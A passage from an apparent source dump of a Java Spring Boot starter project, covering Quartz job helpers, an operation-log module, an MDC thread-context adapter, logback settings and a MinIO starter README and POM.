pauseJob(Scheduler scheduler, String jobId) {\n        try {\n            scheduler.pauseJob(getJobKey(jobId));\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"暂停定时任务失败\");\n        }\n    }\n\n    /**\n     * 恢复任务\n     */\n    public static void resumeJob(Scheduler scheduler, String jobId) {\n        try {\n            scheduler.resumeJob(getJobKey(jobId));\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"暂停定时任务失败\");\n        }\n    }\n\n    /**\n     * 删除定时任务\n     */\n    public static void deleteScheduleJob(Scheduler scheduler, String jobId) {\n        try {\n            scheduler.deleteJob(getJobKey(jobId));\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"删除定时任务失败\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.db.config.TenantAutoConfigure,\\\nio.github.wujun728.db.config.MybatisPlusAutoConfigure,\\\nio.github.wujun728.quartz.config.QuartzAutoConfig\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-log-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>日志通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <hutool.version>5.8.25</hutool.version>\n        <transmittable.version>2.12.1</transmittable.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-db-spring-boot-starter</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-swagger2-spring-boot-starter</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-context</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>transmittable-thread-local</artifactId>\n            <version>${transmittable.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>${hutool.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.dubbo</groupId>\n            <artifactId>dubbo</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>io.github.openfeign</groupId>\n            <artifactId>feign-core</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/annotation/LogAnnotation.java",
    "content": "package io.github.wujun728.aoplog.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * LogAnnotation\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface LogAnnotation {\n    /**\n     * 模块\n     */\n    String title() default \"\";\n\n    /**\n     * 功能\n     */\n    String action() default \"\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/config/LogAutoConfig.java",
    "content": "package io.github.wujun728.aoplog.config;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @author wujun\n * @date 2021/3/19\n */\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.aoplog\")\n@MapperScan(basePackages = \"io.github.wujun728.aoplog.mapper\")\n@ServletComponentScan(basePackages = {\"io.github.wujun728.aoplog.compoent\"})\npublic class LogAutoConfig {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/controller/SysLogController.java",
    "content": "package io.github.wujun728.aoplog.controller;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport io.github.wujun728.aoplog.entity.SysLog;\nimport io.github.wujun728.aoplog.service.LogService;\nimport io.github.wujun728.common.base.Result;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport java.util.List;\n\n/**\n * 系统操作日志\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\n@RequestMapping(\"/sys\")\n@Api(tags = \"系统模块-系统操作日志管理\")\n@RestController\npublic class SysLogController {\n    @Resource\n    private LogService logService;\n\n    @PostMapping(\"/logs\")\n    @ApiOperation(value = \"分页查询系统操作日志接口\")\n    //@RequiresPermissions(\"sys:log:list\")\n    public Result pageInfo(@RequestBody SysLog vo) {\n        LambdaQueryWrapper<SysLog> queryWrapper = Wrappers.lambdaQuery();\n        if (!StringUtils.isEmpty(vo.getUsername())) {\n            queryWrapper.like(SysLog::getUsername, vo.getUsername());\n        }\n        if (!StringUtils.isEmpty(vo.getOperation())) {\n            queryWrapper.like(SysLog::getOperation, vo.getOperation());\n        }\n        if (!StringUtils.isEmpty(vo.getStartTime())) {\n            queryWrapper.gt(SysLog::getCreateTime, vo.getStartTime());\n        }\n        if (!StringUtils.isEmpty(vo.getEndTime())) {\n            queryWrapper.lt(SysLog::getCreateTime, vo.getEndTime());\n        }\n        queryWrapper.orderByDesc(SysLog::getCreateTime);\n        return Result.success(logService.page(vo.getQueryPage(), queryWrapper));\n    }\n\n    @DeleteMapping(\"/logs\")\n    @ApiOperation(value = \"删除日志接口\")\n    //@RequiresPermissions(\"sys:log:deleted\")\n    public Result deleted(@RequestBody List<String> logIds) {\n        logService.removeByIds(logIds);\n        return Result.success();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/entity/SysLog.java",
    "content": "package io.github.wujun728.aoplog.entity;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport io.github.wujun728.common.base.BaseEntity;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 操作日志\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\npublic class SysLog extends BaseEntity implements Serializable {\n    @TableId\n    private String id;\n\n    private String userId;\n\n    private String username;\n\n    private String operation;\n\n    private Integer time;\n\n    private String method;\n\n    private String params;\n\n    private String ip;\n\n    @TableField(fill = FieldFill.INSERT)\n    private Date createTime;\n\n    @TableField(exist = false)\n    private String startTime;\n\n    @TableField(exist = false)\n    private String endTime;\n\n    \tpublic Page getQueryPage(){\n        Page page = new Page(getPage(), getLimit());\n        return page;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/mapper/SysLogMapper.java",
    "content": "package io.github.wujun728.aoplog.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport io.github.wujun728.aoplog.entity.SysLog;\n\n/**\n * 操作日志 Mapper\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysLogMapper extends BaseMapper<SysLog> {\n}"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/service/LogService.java",
    "content": "package io.github.wujun728.aoplog.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.aoplog.entity.SysLog;\n\n/**\n * 系统日志\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface LogService extends IService<SysLog> {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/io/github/wujun728/aoplog/service/impl/LogServiceImpl.java",
    "content": "package io.github.wujun728.aoplog.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport io.github.wujun728.aoplog.entity.SysLog;\nimport io.github.wujun728.aoplog.mapper.SysLogMapper;\nimport io.github.wujun728.aoplog.service.LogService;\nimport org.springframework.stereotype.Service;\n\n/**\n * 系统日志\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\n@Service\npublic class LogServiceImpl extends ServiceImpl<SysLogMapper, SysLog> implements LogService {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/java/org/slf4j/TtlMDCAdapter.java",
    "content": "package org.slf4j;\n\nimport ch.qos.logback.classic.util.LogbackMDCAdapter;\nimport com.alibaba.ttl.TransmittableThreadLocal;\nimport org.slf4j.spi.MDCAdapter;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * 重构{@link LogbackMDCAdapter}类，搭配TransmittableThreadLocal实现父子线程之间的数据传递\n *\n */\npublic class TtlMDCAdapter implements MDCAdapter {\n    private final ThreadLocal<Map<String, String>> copyOnInheritThreadLocal = new TransmittableThreadLocal<>();\n\n    private static final int WRITE_OPERATION = 1;\n    private static final int MAP_COPY_OPERATION = 2;\n\n    private static TtlMDCAdapter mtcMDCAdapter;\n\n    /**\n     * keeps track of the last operation performed\n     */\n    private final ThreadLocal<Integer> lastOperation = new ThreadLocal<>();\n\n    static {\n        mtcMDCAdapter = new TtlMDCAdapter();\n        MDC.mdcAdapter = mtcMDCAdapter;\n    }\n\n    public static MDCAdapter getInstance() {\n        return mtcMDCAdapter;\n    }\n\n    private Integer getAndSetLastOperation(int op) {\n        Integer lastOp = lastOperation.get();\n        lastOperation.set(op);\n        return lastOp;\n    }\n\n    private static boolean wasLastOpReadOrNull(Integer lastOp) {\n        return lastOp == null || lastOp == MAP_COPY_OPERATION;\n    }\n\n    private Map<String, String> duplicateAndInsertNewMap(Map<String, String> oldMap) {\n        Map<String, String> newMap = Collections.synchronizedMap(new HashMap<>());\n        if (oldMap != null) {\n            // we don't want the parent thread modifying oldMap while we are\n            // iterating over it\n            synchronized (oldMap) {\n                newMap.putAll(oldMap);\n            }\n        }\n\n        copyOnInheritThreadLocal.set(newMap);\n        return newMap;\n    }\n\n    /**\n     * Put a context value (the <code>val</code> parameter) as identified with the\n     * <code>key</code> parameter into the current thread's context map. Note that\n     * contrary to log4j, the <code>val</code> parameter can be null.\n     * <p/>\n     * <p/>\n     * If the current thread does not have a context map it is created as a side\n     * effect of this call.\n     *\n     * @throws IllegalArgumentException in case the \"key\" parameter is null\n     */\n    @Override\n    public void put(String key, String val) {\n        if (key == null) {\n            throw new IllegalArgumentException(\"key cannot be null\");\n        }\n\n        Map<String, String> oldMap = copyOnInheritThreadLocal.get();\n        Integer lastOp = getAndSetLastOperation(WRITE_OPERATION);\n\n        if (wasLastOpReadOrNull(lastOp) || oldMap == null) {\n            Map<String, String> newMap = duplicateAndInsertNewMap(oldMap);\n            newMap.put(key, val);\n        } else {\n            oldMap.put(key, val);\n        }\n    }\n\n    /**\n     * Remove the the context identified by the <code>key</code> parameter.\n     * <p/>\n     */\n    @Override\n    public void remove(String key) {\n        if (key == null) {\n            return;\n        }\n        Map<String, String> oldMap = copyOnInheritThreadLocal.get();\n        if (oldMap == null) {\n            return;\n        }\n\n        Integer lastOp = getAndSetLastOperation(WRITE_OPERATION);\n\n        if (wasLastOpReadOrNull(lastOp)) {\n            Map<String, String> newMap = duplicateAndInsertNewMap(oldMap);\n            newMap.remove(key);\n        } else {\n            oldMap.remove(key);\n        }\n\n    }\n\n\n    /**\n     * Clear all entries in the MDC.\n     */\n    @Override\n    public void clear() {\n        lastOperation.set(WRITE_OPERATION);\n        copyOnInheritThreadLocal.remove();\n    }\n\n    /**\n     * Get the context identified by the <code>key</code> parameter.\n     * <p/>\n     */\n    @Override\n    public String get(String key) {\n        final Map<String, String> map = copyOnInheritThreadLocal.get();\n        if ((map != null) && (key != null)) {\n            return map.get(key);\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * Get the current thread's MDC as a map. This method is intended to be used\n     * internally.\n     */\n    public Map<String, String> getPropertyMap() {\n        lastOperation.set(MAP_COPY_OPERATION);\n        return copyOnInheritThreadLocal.get();\n    }\n\n    /**\n     * Returns the keys in the MDC as a {@link Set}. The returned value can be\n     * null.\n     */\n    public Set<String> getKeys() {\n        Map<String, String> map = getPropertyMap();\n\n        if (map != null) {\n            return map.keySet();\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * Return a copy of the current thread's context map. Returned value may be\n     * null.\n     */\n    @Override\n    public Map<String, String> getCopyOfContextMap() {\n        Map<String, String> hashMap = copyOnInheritThreadLocal.get();\n        if (hashMap == null) {\n            return null;\n        } else {\n            return new HashMap<>(hashMap);\n        }\n    }\n\n    @Override\n    public void setContextMap(Map<String, String> contextMap) {\n        lastOperation.set(WRITE_OPERATION);\n\n        Map<String, String> newMap = Collections.synchronizedMap(new HashMap<>());\n        newMap.putAll(contextMap);\n\n        // the newMap replaces the old one for serialisation's sake\n        copyOnInheritThreadLocal.set(newMap);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/resources/META-INF/dubbo/com.alibaba.dubbo.rpc.Filter",
    "content": "logTrace=io.github.wujun728.log.trace.DubboTraceFilter"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.context.ApplicationContextInitializer=\\\nio.github.wujun728.log.config.TtlMDCAdapterInitializer\n\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.log.LogAutoConfigure,\\\nio.github.wujun728.aoplog.config.LogAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-log-spring-boot-starter/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <contextName>${APP_NAME}</contextName>\n    <springProperty name=\"APP_NAME\" scope=\"context\" source=\"spring.application.name\"/>\n    <springProperty name=\"LOG_FILE\" scope=\"context\" source=\"logging.file\" defaultValue=\"../logs/application/${APP_NAME}\"/>\n    <springProperty name=\"LOG_POINT_FILE\" scope=\"context\" source=\"logging.file\" defaultValue=\"../logs/point\"/>\n    <springProperty name=\"LOG_AUDIT_FILE\" scope=\"context\" source=\"logging.file\" defaultValue=\"../logs/audit\"/>\n    <springProperty name=\"LOG_MAXFILESIZE\" scope=\"context\" source=\"logback.filesize\" defaultValue=\"50MB\"/>\n    <springProperty name=\"LOG_FILEMAXDAY\" scope=\"context\" source=\"logback.filemaxday\" defaultValue=\"7\"/>\n    <springProperty name=\"ServerIP\" scope=\"context\" source=\"spring.cloud.client.ip-address\" defaultValue=\"0.0.0.0\"/>\n    <springProperty name=\"ServerPort\" scope=\"context\" source=\"server.port\" defaultValue=\"0000\"/>\n\n    <!-- 彩色日志 -->\n    <!-- 彩色日志依赖的渲染类 -->\n    <conversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\" />\n    <conversionRule conversionWord=\"wex\" converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\" />\n    <conversionRule conversionWord=\"wEx\" converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\" />\n\n    <!-- 彩色日志格式 -->\n    <property name=\"CONSOLE_LOG_PATTERN\"\n              value=\"[${APP_NAME}:${ServerIP}:${ServerPort}] %clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(%level){blue} %clr(${PID}){magenta} %clr([%X{traceId}-%X{spanId}]){yellow} %clr([%thread]){orange} %clr(%-40.40logger{39}){cyan} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}\" />\n    <property name=\"CONSOLE_LOG_PATTERN_NO_COLOR\" value=\"[${APP_NAME}:${ServerIP}:${ServerPort}] %d{yyyy-MM-dd HH:mm:ss.SSS} %level ${PID} [%X{traceId}-%X{spanId}] [%thread] %-40.40logger{39} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}\" />\n\n    <!-- 控制台日志 -->\n    <appender name=\"StdoutAppender\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <withJansi>true</withJansi>\n        <encoder>\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <!-- 按照每天生成常规日志文件 -->\n    <appender name=\"FileAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_FILE}/${APP_NAME}.log</file>\n        <encoder>\n            <pattern>${CONSOLE_LOG_PATTERN_NO_COLOR}</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n        <!-- 基于时间的分包策略 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_FILE}/${APP_NAME}.%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <!--保留时间,单位:天-->\n            <maxHistory>${LOG_FILEMAXDAY}</maxHistory>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>${LOG_MAXFILESIZE}</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n        </rollingPolicy>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>INFO</level>\n        </filter>\n    </appender>\n\n    <appender name=\"point_log\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_POINT_FILE}/point.log</file>\n        <encoder>\n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS}|${APP_NAME}|%msg%n</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n        <!-- 基于时间的分包策略 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_POINT_FILE}/point.%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <!--保留时间,单位:天-->\n            <maxHistory>${LOG_FILEMAXDAY}</maxHistory>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>${LOG_MAXFILESIZE}</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n        </rollingPolicy>\n    </appender>\n\n    <appender name=\"audit_log\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_AUDIT_FILE}/audit.log</file>\n        <encoder>\n            <pattern>%msg%n</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n        <!-- 基于时间的分包策略 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_AUDIT_FILE}/audit.%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <!--保留时间,单位:天-->\n            <maxHistory>${LOG_FILEMAXDAY}</maxHistory>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>${LOG_MAXFILESIZE}</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n        </rollingPolicy>\n    </appender>\n\n    <appender name=\"point_log_async\" class=\"ch.qos.logback.classic.AsyncAppender\">\n        <discardingThreshold>0</discardingThreshold>\n        <appender-ref ref=\"point_log\"/>\n    </appender>\n    <appender name=\"file_async\" class=\"ch.qos.logback.classic.AsyncAppender\">\n        <discardingThreshold>0</discardingThreshold>\n        <appender-ref ref=\"FileAppender\"/>\n    </appender>\n    <appender name=\"audit_log_async\" class=\"ch.qos.logback.classic.AsyncAppender\">\n        <discardingThreshold>0</discardingThreshold>\n        <appender-ref ref=\"audit_log\"/>\n    </appender>\n    <logger name=\"com.central.log.monitor\" level=\"debug\" addtivity=\"false\">\n        <appender-ref ref=\"point_log_async\" />\n    </logger>\n    <logger name=\"io.github.wujun728.log.service.impl.LoggerAuditServiceImpl\" level=\"debug\" addtivity=\"false\">\n        <appender-ref ref=\"audit_log_async\" />\n    </logger>\n\n    <root level=\"INFO\">\n        <appender-ref ref=\"StdoutAppender\"/>\n        <appender-ref ref=\"file_async\"/>\n    </root>\n</configuration>\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/.gitignore",
    "content": "HELP.md\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**\n!**/src/test/**\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n\n### VS Code ###\n.vscode/\n"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/README.md",
    "content": "\n<br/>\n<br/>\n\n<div align=\"center\">\n    <img src=\"https://min.io/resources/img/logo.svg\" width=\"30%\" style=\"margin-top:30px;\"/>\n</div>\n\n<h1 align=\"center\">\n    minio-spring-boot-starter\n</h1>\n\n<h4 align=\"center\">\n    基 于 Minio 对 象 存 储 的 Spring Boot 快 速 启 动 器，开 箱 即 用\n</h4> \n\n\n<p align=\"center\">\n\t<a target=\"_blank\" href=\"https://gitee.com/pear-admin/minio-spring-boot-starter/blob/master/LICENSE\">\n\t    <img src=\"https://img.shields.io/badge/license-Apache--2.0-blue\" />\n\t</a>\n\t<a target=\"_blank\">\n\t    <img src=\"https://img.shields.io/badge/minio-7.1.0-blue\" />\n\t</a>\n\t<a target=\"_blank\">\n\t    <img src=\"https://img.shields.io/badge/spring--boot-2.3.7.RELEASE-blue\" />\n\t</a>\n        <br/>\n\t<a target=\"_blank\" href=\"https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html\">\n\t    <img src=\"https://img.shields.io/badge/JDK-8+-green.svg\" />\n\t</a>\n\t<a target=\"_blank\" href=\"https://jitpack.io/#com.gitee.pear-admin/minio-spring-boot-starter\">\n\t    <img src=\"https://jitpack.io/v/com.gitee.pear-admin/minio-spring-boot-starter.svg\" />\n\t</a>\n</p>\n\n\n\n### 项目介绍\n\n基 于 Minio 对 象 存 储 的 Spring Boot 快 速 启 动 器，开 箱 即 用\n\n<p>\n    <a target=\"_blank\" href=\"https://apidoc.gitee.com/pear-admin/minio-spring-boot-starter\"> \n        参考API\n    </a>\n</p>\n\n\n\n### 依赖关系\n\n|  项目名称   |    版本号     | 官网地址                                              |\n| :---------: | :-----------: | ----------------------------------------------------- |\n|    minio    |     7.1.0     | https://docs.min.io/docs/java-client-quickstart-guide |\n| spring-boot | 2.3.7.RELEASE | https://spring.io/projects/spring-boot                |\n| hutool-core |     5.7.5     | https://www.hutool.cn                                 |\n\n\n\n### 如何使用\n\nMaven\n\n在项目的pom.xml中添加\n\n```xml\n    <repositories>\n        <repository>\n            <id>jitpack.io</id>\n            <url>https://jitpack.io</url>\n        </repository>\n    </repositories>\n```\n\n```xml\n\t<dependency>\n\t    <groupId>com.gitee.pear-admin</groupId>\n\t    <artifactId>minio-spring-boot-starter</artifactId>\n\t    <version>${last.version}</version>\n\t</dependency>\n```\n\n\nGradle\n\n```groovy\n\tallprojects {\n\t\trepositories {\n\t\t\t...\n\t\t\tmaven { url 'https://jitpack.io' }\n\t\t}\n\t}\n```\n\n```groovy\n\tdependencies {\n\t        implementation 'com.gitee.pear-admin:minio-spring-boot-starter:${last.version}'\n\t}\n```\n\n### 快速上手\n\n配置\n\n```\nminio:\n    ## minio 服务地址\n    url: 127.0.0.1:5000\n    ## 账户\n    accessKey: pear-admin\n    ## 密码\n    secretKey: pear-admin\n    ## 桶\n    bucket: default\n    ## 当桶不存在，是否创建\n    createBucket: true\n    ## 启动检测桶，是否存在\n    checkBucket: true\n    ## 连接超时\n    connectTimeout: 6000\n    ## 写入超时\n    writeTimeout: 2000\n    ## 读取超时\n    readTimeout: 2000\n```\n\n使用\n\n```\n\n@RestController\n@RequestMapping(\"/api/bucket\")\npublic class BucketController {\n    \n    @Autowired\n    private MinioTemplate minioTemplate;\n    \n    @RequestMapping(\"/create\")\n    public Result create(String bucketName) {\n        if(!minioTemplate.bucketExists(bucketName)) {\n            minioTemplate.createBucket(bucketName);\n            return Result.success(\"创建成功\"); \n        }\n        return Result.failure(\"桶，已存在\")；\n    }   \n        \n}\n\n```\n\n### 项目贡献者\n[![Giteye chart](https://chart.giteye.net/gitee/pear-admin/minio-spring-boot-starter/DDPB5C75.png)](https://giteye.net/chart/DDPB5C75)\n\n### 趋势图\n[![Giteye chart](https://chart.giteye.net/gitee/pear-admin/minio-spring-boot-starter/SJRQAG4F.png)](https://giteye.net/chart/SJRQAG4F)"
  },
  {
    "path": "jun_springboot_starter/jun-minio-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-minio-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <name>jun-minio-spring-boot-starter</name>\n    <url>https://github.com/wujun728/jun-spring-boot-starter</url>\n\n    <description>minio整合springboot</description>\n\n    <!-- 开源协议 apache 2.0 -->\n    <licenses>\n        <license>\n            <name>Apache 2</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n            <comments>A business-friendly OSS license</comments>\n        </license>\n    </licenses>\n\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <minio.version>7.1.0</minio.version>\n    </properties>\n\n    <dependencies>\n        <!--web 启动器-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <!--自动封装Properties文件-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <!--检验是否为空-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-validation</artifactId>\n        </dependency>\n        <!--自动装配配置文件-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n        </dependency>\n        <!--文件服务器-->\n        <dependency>\n            <groupId>io.minio</groupId>\n            <artifactId>minio</artifactId>\n            <version>${minio.version}</version>\n        </dependency>\n    </dependencies>\n\n    